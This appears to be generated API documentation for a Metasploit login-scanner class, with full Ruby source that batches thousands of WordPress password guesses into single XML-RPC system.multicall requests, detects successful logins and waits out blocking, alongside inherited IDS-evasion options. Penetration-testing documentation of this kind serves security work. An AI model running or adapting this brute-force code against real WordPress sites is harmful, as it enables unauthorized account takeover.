Class: Metasploit::Framework::LoginScanner::WordpressMulticall

Inherits:
HTTP
  • Object
show all
Defined in:
lib/metasploit/framework/login_scanner/wordpress_multicall.rb

Constant Summary

Constants inherited from HTTP

HTTP::AUTHORIZATION_HEADER, HTTP::DEFAULT_HTTP_NOT_AUTHED_CODES, HTTP::DEFAULT_HTTP_SUCCESS_CODES, HTTP::DEFAULT_PORT, HTTP::DEFAULT_REALM, HTTP::DEFAULT_SSL_PORT, HTTP::LIKELY_PORTS, HTTP::LIKELY_SERVICE_NAMES, HTTP::PRIVATE_TYPES, HTTP::REALM_KEY

Instance Attribute Summary collapse

Attributes inherited from HTTP

#digest_auth_iis, #evade_header_folding, #evade_method_random_case, #evade_method_random_invalid, #evade_method_random_valid, #evade_pad_fake_headers, #evade_pad_fake_headers_count, #evade_pad_get_params, #evade_pad_get_params_count, #evade_pad_method_uri_count, #evade_pad_method_uri_type, #evade_pad_post_params, #evade_pad_post_params_count, #evade_pad_uri_version_count, #evade_pad_uri_version_type, #evade_shuffle_get_params, #evade_shuffle_post_params, #evade_uri_dir_fake_relative, #evade_uri_dir_self_reference, #evade_uri_encode_mode, #evade_uri_fake_end, #evade_uri_fake_params_start, #evade_uri_full_url, #evade_uri_use_backslashes, #evade_version_random_invalid, #evade_version_random_valid, #http_password, #http_success_codes, #http_username, #keep_connection_alive, #kerberos_authenticator_factory, #method, #ntlm_domain, #ntlm_send_lm, #ntlm_send_ntlm, #ntlm_send_spn, #ntlm_use_lm_key, #ntlm_use_ntlmv2, #ntlm_use_ntlmv2_session, #uri, #user_agent, #vhost

Instance Method Summary collapse

Methods inherited from HTTP

#authentication_required?, #check_setup, #send_request

Instance Attribute Details

#base_uriString

Returns:

  • (String)


24
25
26
# File 'lib/metasploit/framework/login_scanner/wordpress_multicall.rb', line 24

def base_uri
  @base_uri
end

#block_waitInteger

Returns:

  • (Integer)


20
21
22
# File 'lib/metasploit/framework/login_scanner/wordpress_multicall.rb', line 20

def block_wait
  @block_wait
end

#block_wait, time to wait if got blocked by the targetInteger

Returns:

  • (Integer)


20
# File 'lib/metasploit/framework/login_scanner/wordpress_multicall.rb', line 20

attr_accessor :block_wait

#chunk_sizeInteger

Returns:

  • (Integer)


16
17
18
# File 'lib/metasploit/framework/login_scanner/wordpress_multicall.rb', line 16

def chunk_size
  @chunk_size
end

#chunk_size, limits number of passwords per XML requestInteger

Returns:

  • (Integer)


16
# File 'lib/metasploit/framework/login_scanner/wordpress_multicall.rb', line 16

attr_accessor :chunk_size

#passwordsArray

Returns:

  • (Array)


12
13
14
# File 'lib/metasploit/framework/login_scanner/wordpress_multicall.rb', line 12

def passwords
  @passwords
end

#wordpress_url_xmlrpcString

Returns:

  • (String)


28
29
30
# File 'lib/metasploit/framework/login_scanner/wordpress_multicall.rb', line 28

def wordpress_url_xmlrpc
  @wordpress_url_xmlrpc
end

Instance Method Details

#attempt_login(credential) ⇒ Metasploit::Framework::LoginScanner::Result

Attempts to login.



109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
# File 'lib/metasploit/framework/login_scanner/wordpress_multicall.rb', line 109

def (credential)
  set_default
  @passwords ||= [credential.private]
  generate_xml(credential.public).each do |xml|
    send_wp_request(xml)
    req_xml = Nokogiri::Slop(xml)
    res_xml = Nokogiri::Slop(@res.to_s.scan(/<.*>/).join)
    res_xml.search("methodResponse/params/param/value/array/data/value").each_with_index do |value, i|
      result =  value.at("struct/member/value/int")
      if result.nil?
        pass = req_xml.search("data/value/array/data")[i].value[1].text.strip
        credential.private = pass
        result_opts = {
          credential: credential,
          host: host,
          port: port,
          protocol: 'tcp'
        }
        result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL)
        return Result.new(result_opts)
      end
    end
  end

  result_opts = {
    credential: credential,
    host: host,
    port: port,
    protocol: 'tcp'
  }

  result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT)
  return Result.new(result_opts)
end

#generate_xml(user) ⇒ Array

Returns the XML data that is used for the login.

Parameters:

  • user (String)

    username

Returns:

  • (Array)


42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
# File 'lib/metasploit/framework/login_scanner/wordpress_multicall.rb', line 42

def generate_xml(user)
  xml_payloads = []

  # Evil XML | Limit number of log-ins to CHUNKSIZE/request due
  # Wordpress limitation which is 1700 maximum.
  passwords.each_slice(chunk_size) do |pass_group|
    document = Nokogiri::XML::Builder.new do |xml|
      xml.methodCall {
        xml.methodName("system.multicall")
        xml.params {
        xml.param {
        xml.value {
        xml.array {
        xml.data {
        pass_group.each  do |pass|
          xml.value  {
          xml.struct {
          xml.member {
          xml.name("methodName")
          xml.value  { xml.string("wp.getUsersBlogs") }}
          xml.member {
          xml.name("params")
          xml.value {
          xml.array {
          xml.data  {
          xml.value {
          xml.array {
          xml.data  {
          xml.value { xml.string(user) }
          xml.value { xml.string(pass) }
          }}}}}}}}}
        end
        }}}}}}
    end
    xml_payloads << document.to_xml
  end

  xml_payloads
end

#send_wp_request(xml) ⇒ void

This method returns an undefined value.

Sends an HTTP request to Wordpress.

Parameters:

  • xml (String)

    XML data.



86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
# File 'lib/metasploit/framework/login_scanner/wordpress_multicall.rb', line 86

def send_wp_request(xml)
  opts =
    {
      'method'  => 'POST',
      'uri'     => normalize_uri("#{base_uri}/#{wordpress_url_xmlrpc}"),
      'data'    => xml,
      'ctype'   =>'text/xml'
    }

  res  = send_request(opts)

  if res && res.code != 200
    sleep(block_wait * 60)
  end

  @res = res
end

#set_defaultObject



31
32
33
34
35
36
# File 'lib/metasploit/framework/login_scanner/wordpress_multicall.rb', line 31

def set_default
  @wordpress_url_xmlrpc ||= 'xmlrpc.php'
  @block_wait ||= 6
  @base_uri ||= '/'
  @chunk_size ||= 1700
end